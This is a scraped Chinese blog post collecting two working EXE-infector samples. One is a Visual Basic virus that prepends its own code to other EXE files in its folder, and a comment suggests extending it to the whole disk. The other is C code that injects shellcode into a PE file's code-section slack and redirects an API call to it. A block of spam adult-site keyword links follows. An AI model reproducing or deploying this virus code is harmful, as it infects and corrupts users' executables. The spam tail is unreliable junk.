• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            感染EXE

            收集兩篇感染exe的文章,有時間了把它寫出來

            VB:

            Option Explicit
            Private Victim As String '要感染的文件的名字
            Private HostLen As Long '要感染的文件的大小
            Private vbArray() As Byte '病毒的代碼
            Private hArray() As Byte '要感染的文件的代碼
            Private lenght As Long
            Private MySize As Integer '病毒的大小

            Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
            Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
            Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
            Private iResult As Long
            Private hProg As Long
            Private idProg As Long
            Private iExit As Long
            Const STILL_ACTIVE As Long = &H103
            Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

            Private Sub form_Initialize()
            Dim i As Long
            On Error GoTo vbVerror '出錯處理

            '原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
            As #1
            ReDim MyArray(LOF(1) - 1)
            MySize = LOF(1)
            ReDim vbArray(MySize)
            Get #1, 1, vbArray
            Close #1
            '這是在讀自己的代碼


            Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個文件(目前只是在病毒所在的目錄下隨機選一個,將來你可以修改,讓它不斷的循環搜索計算機上的所有文件。)
            While Victim <> ""

            If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
            Open App.Path & "\" & Victim For Binary Access Read As #1
            ReDim hArray(LOF(1))
            Get #1, 1, hArray
            Close #1
            '讀出病毒自身的代碼


            If hArray(&H69) <> &H4D Then

            i = hArray(&H3C)
            If hArray(i) = &H50 Then
            Open App.Path & "\" & Victim For Binary Access Write As #1
            Put #1, , vbArray
            Put #1, MySize, hArray
            Close #1
            End If '要保證被感染的不是空文件(不是圈套)
            End If
            End If
            '讀出準備被感染的文件的代碼

            Victim = Dir() 'Next

            Wend

            '下面的工作是為了保證病毒不會重復感染一個文件,也不會自我感染。

            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
            lenght = LOF(1) - MySize
            If lenght <> 0 Then
            ReDim vbArray(lenght - 1)
            Get #1, MySize, vbArray
            Close #1

            Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
            Put #1, , vbArray
            Close #1


            idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
            hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
            GetExitCodeProcess hProg, iExit
            Do While iExit = STILL_ACTIVE
            DoEvents
            GetExitCodeProcess hProg, iExit
            Loop
            Kill App.Path & "\" & App.EXEName & ".eve"

            Else
            Close #1

            End If

            End

            vbVerror: '出錯處理,空著就可以了

            End Sub



            VC:

            /**************************************************************
            * 函數:InjectCode
            * 參數:char szHostFile[]--待感染的exe文件路徑

            * 功能:感染一個exe程序,運行顯示“金豬拜年”的MessageBox
            * 從代碼節開始搜索,替換第一個發現的call api的指令
            * 把目標代碼插入代碼節的尾部
            * 代碼僅供演示之用,沒有做過多的錯誤處理
            * 感染當前hello.exe,插入一段彈出對話框代碼(當然你可以修改成啟動文件的代碼,嘿嘿)
            * coded by robinh00d
            * robinh00d_at_163.com
            * 編譯:cl epo.c
            **************************************************************/
            int InjectCode(char szHostFile[])
            {//#include <windows.h>
                PIMAGE_DOS_HEADER pImageDosHeader ;
                PIMAGE_NT_HEADERS pImageNtHeaders ;
                PIMAGE_SECTION_HEADER pImageSectionHeader;
                unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                                        "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                                        "\x8d\x83\x30\x10\x40\x00\x50\x50"
                                        "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                                        "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                                        "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                                        "\xC4\xEA\x00";
                HANDLE hFile ;
                HANDLE hMap ;
                LPVOID pMapping ;
                DWORD dwGapSize ;
                unsigned char *pGapEntry ;
                int i ;
                PROC MsgBox ;
                DWORD OldEntry ;
                int x = 0x18 ;
                int vir_len ;
                unsigned char *pSearch ;
                DWORD *dwCallNextAddr ;
                DWORD *dwCallDataOffset ;
                DWORD *dwCallDataAddr ;
                DWORD dwCallData ;
                DWORD dwCodeDistance ;
                DWORD *dwJmpAddr ;
                DWORD dwJmpData ;
                DWORD dwJmpVA ;

                //:::
                hFile = CreateFile(szHostFile,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    NULL,
                                    OPEN_EXISTING,
                                    FILE_ATTRIBUTE_NORMAL,
                                    NULL) ;
                                   
                if (hFile==INVALID_HANDLE_VALUE)
                {
                    return -1 ;
                }
               
                hMap = CreateFileMapping(hFile,
                                        NULL,
                                        PAGE_READWRITE,
                                        0,
                                        0,
                                        NULL) ;
                if (!hMap)
                    return -1 ;
               
                pMapping = MapViewOfFile(hMap,
                                    FILE_MAP_ALL_ACCESS,
                                    0,
                                    0,
                                    0) ;
                if (!pMapping)
                    return -1 ;
               
                pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
                if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
                {
                    pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
                    if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
                    {
                        pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                                        pImageDosHeader->e_lfanew+
                                                                        sizeof(IMAGE_NT_HEADERS)) ;
                        dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

            >Misc.VirtualSize ;
                       
                        if (sizeof(thunkcode)>dwGapSize)
                            goto Close ;
                           
                        pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                                        (DWORD)pMapping+
                                                        pImageSectionHeader->Misc.VirtualSize) ;
                       
                        OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                                    pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

                        MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

                        //修改為當前系統的MessageBoxA地址
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                            x -= 8 ;
                        }
                        x = 24 ;
                       
                        vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
                       
                        pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                    (DWORD)pMapping) ;
                                   
                        //:::搜索call指令(0xe8)
                        for (i=0;i<vir_len;i++)
                        {
                            if (pSearch[i]==0xe8)
                            {
                                dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                                dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                                dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                                dwJmpVA = (DWORD)dwJmpAddr-
                                            ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                            pImageNtHeaders->OptionalHeader.ImageBase+
                                            pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                                dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                                if ((*dwJmpAddr&0xffff)==0x25ff)
                                {
                                    dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                                    *dwCallDataAddr = dwCodeDistance ;
                                    for (i=3;i>=0;i--)
                                    {
                                        thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                                        x -= 8 ;
                                    }
                                    for (i=0;i<sizeof(thunkcode);i++)
                                    {
                                        pGapEntry[i] = thunkcode[i] ;
                                    }
                                    break ;
                                }
                            }
                           
                        }
                       
                    }
                }

            Close:
                UnmapViewOfFile(pMapping) ;
                CloseHandle(hMap) ;
                CloseHandle(hFile) ;
               
                return 0 ;
            }

            posted on 2007-10-08 14:21 葉子 閱讀(1068) 評論(0)  編輯 收藏 引用 所屬分類: 技術研究

            久久精品中文字幕大胸| 国产亚洲美女精品久久久| 久久久精品人妻一区二区三区蜜桃| 亚洲国产另类久久久精品小说| 精品久久777| 国产精品中文久久久久久久| www.久久热.com| 久久婷婷人人澡人人爽人人爱| 色综合久久中文色婷婷| 狠狠综合久久综合88亚洲| 亚洲国产成人久久精品动漫| 亚洲午夜久久久影院伊人| 美女久久久久久| 香蕉久久一区二区不卡无毒影院| 国内精品综合久久久40p| 久久男人中文字幕资源站| 99久久免费国产特黄| 久久精品国产清自在天天线| 国产成人久久精品麻豆一区| 久久不射电影网| AV无码久久久久不卡蜜桃 | 久久免费的精品国产V∧| 青青久久精品国产免费看| 99热精品久久只有精品| 国产精品久久久久久久久免费 | 77777亚洲午夜久久多人| 久久久久久亚洲精品无码| 大美女久久久久久j久久| 韩国三级大全久久网站| 久久无码人妻一区二区三区 | 国产99久久久国产精品~~牛 | 国产激情久久久久影院小草 | 伊人久久无码中文字幕| 三级三级久久三级久久| 99久久综合国产精品免费| 香蕉久久夜色精品国产尤物| 久久久人妻精品无码一区| 亚洲精品视频久久久| 亚洲国产精品无码久久98| 亚洲AV无码一区东京热久久| 久久久久久久亚洲Av无码|